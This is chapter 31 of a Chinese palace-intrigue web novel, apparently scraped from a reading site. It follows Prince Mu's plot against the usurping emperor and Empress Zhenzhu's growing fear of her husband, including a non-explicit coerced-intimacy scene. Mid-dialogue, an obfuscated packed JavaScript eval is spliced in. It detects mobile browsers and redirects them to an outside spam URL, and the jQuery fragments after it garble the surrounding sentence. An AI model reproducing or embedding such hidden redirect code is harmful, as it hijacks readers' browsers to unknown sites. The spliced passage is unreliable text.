31. 第 31 章

作品:《忆君王

    对于这个所谓的三姐姐,如今的嫂嫂“赵皇后”,本来,穆王周奉弘是不想再多沾她的边的。


    这女人从来都是个丧门星,专克周家人,但凡和她沾边就准没好事。


    他永远忘不了从前的十五郎是怎么死的。


    ——在当年周媜珠嫁给周奉疆后,十五郎不过是见不得她仗着失忆之名便和那男人厮混在一起,借机到她跟前告诉了她真相而已。结果就因为她要死要活地病了一场,十五郎便因此被周奉疆那逆贼活活打死。


    十五郎还只是个十来岁的少年啊!


    如果不是因为有周媜珠那样一个只会做媚态曲意逢迎、委身贼人的所谓嫡姐,十五郎如何会落得如此结局?


    可怜十五郎死也是白死了一场,在他死后没多久,周媜珠就将他说过的话忘了个一干二净,又是一副什么都不知道的懵懂姿态,继续待在仇人身侧承欢迎合,尽态极妍地卖弄她的乖巧柔顺去取悦那男人。


    十五郎被打死的时候,周奉疆还将他们都召了过来,是在他们面前亲手处置了十五郎,训诫他们说,以后谁还敢在他夫人面前胡言乱语,下场皆如此。


    亲眼见到十五郎的死状后,他回去便大病了一场,发着高热说了数日的糊话,险些连他自己也没有挺过来。


    从那之后,为了“避嫌”,以示自己绝无异心,穆王都躲着这个“嫂嫂”周媜珠了。


    待到周奉疆登基称帝,除却每隔一段时间必要的入宫向皇后请安之外,穆王都不让穆王妃多进宫。


    而他自己呢,如果不是碰上新年、端午、中秋这样的节令,更不想再凑到宫里去多看周媜珠一眼了。


    今日初一入宫,穆王本也打算只在这位“赵皇后”跟前表面意思一下,给她磕个头行个礼,说两句场面话就退下。


    但令他稍感到些疑惑的是,今日的周媜珠似乎对他们穆王一家格外热情周到了些,还主动寻了个话头拉着他们闲聊,一一问起他们府里的孩子是如何教养的、孩子们平时怎么玩、怎么吃饭之类的琐事。


    仿佛她只是个真心疼爱侄儿侄女们的好伯母罢了。


    不过,隐约能感受到椒房殿内佩芝她们这些宫人似有似无地投射在自己身上的监视的视线,穆王有些如坐针毡,脑海中不停地思索着该如何开口起身告辞。


    他是真的多一刻都不想在周媜珠面前多待。


    媜珠用手指拨了拨穆王妃女儿头顶柔软的胎发,就在这时,像是忽然想起来了什么似的,抬头看向佩芝说道:


    “我记得去岁秋日里新罗使臣们不是进了些颜色很娇嫩的鱼牙绸么,佩芝,你带人去取些来,赏给咱们小县主春日里裁几身新衣,那嫩生生的衣裳,也就是小孩子穿才好看。还有大食国使者进的一盒波斯绿松石,也取来,穆王妃喜青绿之色,镶在首饰上是很漂亮的。”


    穆王妃连忙起身推辞了番,媜珠叫她收下:“王妃平日将本宫的小侄女儿照看得这样好,必是十分辛苦,这寥寥一点心意,如何收不得?”


    佩芝应下:“婢这就打发人去库房里——”


    “你亲自带人去拿来,快些。”


    媜珠低头陪那小女婴玩,头也不抬地打断了她,


    “我的东西平日都是你收着的,年关里库房中东西多,想必乱糟糟的,宫人们去寻也费时,你亲自去取来吧。否则许久找不到,我们小县主是不是生气了?是不是觉得伯母不是真心赏你?”


    她说着说着又逗起怀里的小县主,那女婴被她逗得娇笑起来,一派天真无邪,穆王和穆王妃也跟着附和似的笑了两声。


    佩芝不敢再和她分辩,见她还是有说有笑的样子,想着自己只离开这一时半会儿,也不能出什么差错,只得赶忙带着几个宫娥去皇后库房里翻找起她说的东西来。


    佩芝走后,椒房殿内离得媜珠和穆王一家子稍远些的地方,虽然还是有七八个垂首的小宫娥侍奉在侧的,只不过她们只是低着头等主子有事时使唤两下,并不敢像佩芝那样细细观察着皇后、穆王等人的一举一动。


    她们能清清楚楚监听到皇后与穆王等人所说的每一句话,却不能看清媜珠的神情。


    就是在这个时候,媜珠侧首望向了坐在一旁的穆王周奉弘。


    在接触到媜珠流露出来的那眼神的一刻,穆王下意识地挺直了脊背,整个人都僵硬住了。


    那是一种怎样的眼神呢?


    可怜的,无辜的,困惑而哀怨,又是那样小心翼翼,柔弱不堪,仿佛害怕被人发现她的秘密,只敢将这样的眼神暂时流转在她勉强所信任的人身上。


    他想起了年少时饲养过的一只雀莺。


    一只尚未成年的、娇小的雀莺,是有人从野外捉来赠给他养着玩的。


    他将那只雀莺养在笼子里,悬于屋檐下,当做玩物一般把玩,用鸟食和水控制着那只雀莺的一生。


    起先,那只雀莺刚从它母亲身边被抓着关起来,它很不适应,经常在笼子里疯了一般地到处乱啄。


    于是他就断了给它的食与水,将它饿上几天,再赏赐着给它一些饮食。


    如是几次之后,那只雀莺就温顺了下来,会乖乖地待在他的掌心,为他歌唱,与他玩耍。


    他以为它真的忘记了过去和自己母亲在林间相伴的日子,开始认他为主人了。


    直到有一日夜间,他那夜睡意浅淡,起身在庭院中漫步散心时,忽然瞥见檐下笼中的那只雀莺隔着笼子不知在和谁轻轻鸣叫。


    那叫声十分压抑,却又凄婉可怜,叫他心头都一阵怜悯,时隔多年亦无法忘记。


    等他悄悄靠近过去,发现竟然是那雀莺的母亲从林间寻了过来,趁着夜色偷偷来看望自己被关在笼中的孩子。


    母女相见,格外凄凉。


    母鸟悲鸣,幼鸟哀啼。


    他一时看痴了,不知不觉靠了过去,那母鸟发现有生人靠近,惊弓之鸟般一下飞走了。


    虽是飞走,但它仍然没有飞远,徘徊着站在屋檐上死死盯着自己的孩子。


    而那幼鸟看见了他过来,虽然才刚见过自己的母亲,但是它丝毫没有挣扎与反抗的欲望,反而用一种如人一般复杂的眼神凝望着他。


    他读懂了这鸟儿的心情。


    它幽怨,它害怕,它敢怒不敢言,它想要自由,想要离开,想要和自己的母亲离开。


    但是它又惧怕他,怕他责怪它偷偷和母亲相会,甚至还怕他把它的母亲也抓回来关着。


    ——现在他完全想起来了,此刻的周媜珠看着他的眼神,就和当年那只雀莺一样。


    那只雀莺虽然被人关着,但它实际上什么都懂,什么都明白,只是无法反抗而已。


    周媜珠现在也用同样的眼神望向了他。


    难道她也明白过来了什么吗?


    穆王的心脏剧烈跳动了起来,让他一时呼吸都感到了有些急促。


    至少昨日除夕宫宴时,周媜珠还没有表现出这样的反常。


    仅仅一夜过去,是她突然发现了什么、察觉了什么,所以有所顿悟了么?


    回应媜珠的,是穆王几不可察的一次轻微的点头。


    然后他就慌乱地别过了头去,不敢再看她了。


    很多时候,人与人之间各种情愫的传递,并不需要太多的修饰词藻。


    最简单的情况下,一个眼神便足矣。


    她用那样悲伤如笼中困兽般的眼神望向了自己的亲弟弟,而弟弟也瞬间心领神会,承认了她的揣测。


    媜珠的心已然死得不能再死。


    正在这时,佩芝领着宫人带着媜珠要赏给穆王府的东西回来了。


    好歹常伴君侧,媜珠也练出了能瞬间变脸的本事,只是眨眼睛的功夫,她就恢复如常,和穆王夫妇仍是有说有笑的样子。


    又小坐了片刻,穆王与穆王妃起身告辞,媜珠还高高兴兴地叫小宦官去送了送他们。


    *


    龙章二年的正月初一新年,于穆王周奉弘来说,不啻于是他人生中最晴天霹雳的一天之一。


    他一生中只有三天最难忘。


    其一是周奉疆杀死他兄弟叔父们夺权上位的那一天,其二是亲眼见到十五郎死的那一天。


    再者就是今天。


    他不确定周媜珠是否完全恢复了记忆,但他至少能够确定,他三姐姐周媜珠至少知道自己姓什么,知道自己是谁家的女儿,而且肯定已经和周奉疆那逆贼离了心了。


    她心里也有鬼,也有秘密,可她都不敢让佩芝知道,不敢让周奉疆知道,反而是来求证他这个亲弟弟。


    对她来说,她现下定然把他当做了她身边为数不多可以信任的人了。


    她一定不爱周奉疆,一定不爱。


    只有不爱一个男人,才会在他身边感到绝望,才会流露出那样的眼神,那种神情是做不了假的。


    穆王府内的书房寂静无人之处,穆王用力握住了穆王妃的手:


    “她不爱周奉疆,她不和那男人一条心,那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640974|172711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一切就好办了!怕只怕那娼妇身子和心都给了周奉疆,如今她的心还是向着周家的自家人,那就好办了……”


    穆王妃有些颤颤巍巍的害怕:“殿下,您说的是……什么好办了?”


    穆王整个人的面容上呈现着一种诡异的亢奋和激动,脸色涨得通红,手指却因紧握而发白。


    “好帮我除掉周奉疆。”


    穆王妃慌张地“啊”了一声。


    穆王的表情益发坚定:“周奉疆那贼子至今膝下无子,周媜珠被他睡了那么多年也没和他一条心,这岂非天道也助我么?这天下本该就是我周家的天下,如今我是我父亲所存子嗣中的长子……”


    “只要周奉疆能一死了之,朝臣们都该尊我为天子。”


    “殿下!”


    穆王妃是紧张的,害怕的,但她似乎并没有真的反对穆王的想法。


    她所紧张与害怕的,只是梦想还未实现之前的忐忑罢了。


    “只要周奉疆死了,皇位怎么也该由我来做。届时,我为天子,你就是皇后,咱们的儿子就是太子,女儿也要封为国公主。我还要追封我的生母为皇后,配食我父亲的宗庙。对,还有你的父母,我也会封你父亲为国公,封你的母亲为国夫人……”


    他整个人剧烈地颤抖起来,已然沉入了一场盛大的美梦中,


    “我生母在世时温婉美丽,我要给她追封谥号为文与德,让世人都记得她是我父亲的文德皇后,她才不是我父亲一个无名的姬妾,是皇后,是配食宗庙的皇后……那赵氏又算什么东西!”


    夫荣妻贵,丈夫都做起了美梦,妻子自然也被鼓舞得飘飘欲仙,穆王妃同样是个孝顺的好女儿:


    “殿下的生母若是能追封为皇后……妾的生母,也能被封为国夫人,就为楚国夫人,如何?咱们的女儿,也要做国公主,可封为秦国公主……”


    *


    直到这一日的夜幕降临时,媜珠仍然感到一阵不可思议。


    她完全无法想象,自己是如何撑过了这一日,是如何强打着精神应付了一整日入宫来给她请安的宗亲女眷命妇们的。


    或许真的是伴君日久,人人都会蒙上一层虚伪的、用来伪装的面纱。


    夜,皇帝拥着媜珠就寝,他自然而然地覆到媜珠身上,随手拉开她身上雪绸寝衣的系带,已然起了兴致欲宠幸她。


    媜珠此刻再看向身上的这个男人,心已经不能再用冰冷两个字来形容了。


    只剩下单纯的惧怕,那是一种刻入骨髓中的恐惧。


    ——家中如饲一忠犬,久之,惊觉此犬非犬,实乃一饿狼也。


    而且还是一条红眼的食人饿狼。


    这条饿狼在你身旁转来转去,你却根本不敢揭发它的真面目,害怕被它恼羞成怒之下咬断脖颈、吃尽血肉。


    它还会装作一条忠犬的模样来你身边转圈,索要你的爱抚。


    明明害怕至极,却又不得不敷衍着和它亲近。


    所以今夜的这场情事媜珠明显不在状态,皇帝只做了一次,收场时也有些意兴阑珊,没了往日的兴奋趣味。


    事毕后,他随手披上寝衣,拨开被汗水沾湿在媜珠脸颊上的一缕发丝。


    媜珠似乎有些虚弱地躺在他身|下,阖着眼睛,满面潮红,汗湿鬓发,眼尾处隐约有泪珠滚落,继而坠进了枕头里,消失不见。


    就一次而已,眼泪倒是没少掉。皇帝轻笑了下。


    她是不堪承受的娇柔之态,皇帝并未起疑,只是怜惜她或许是太累了,哄了她几句后就拥着她睡下了。


    她虽阖着眼没有看他,可是意识是清醒的。


    方才他碰她时,她想过可以寻什么由头推拒过去,不想让他沾她的身。


    但只是片刻,想到自己这么多年来的遭际,媜珠最终没有反抗。


    ——她已经失身给他无数次了。


    这么多年,无数次承欢侍寝。


    一次两次的拒绝,就算他暂时接受了,又有什么意义呢?


    只要在他身边,她总不可能永远拒绝他,以后也还是要给他的。


    遑论已在他手上失了清白,她再想贞烈,清白也无可挽回。


    *


    那……河间王殿下……张道恭他知道这些吗?


    他知道她还活着吗?知道她如今所遭受的一切吗?


    这夜,在周奉疆怀中,媜珠失忆后第一次在他的榻上想到了别的男人。


    只是这么一想,她便心痛欲碎。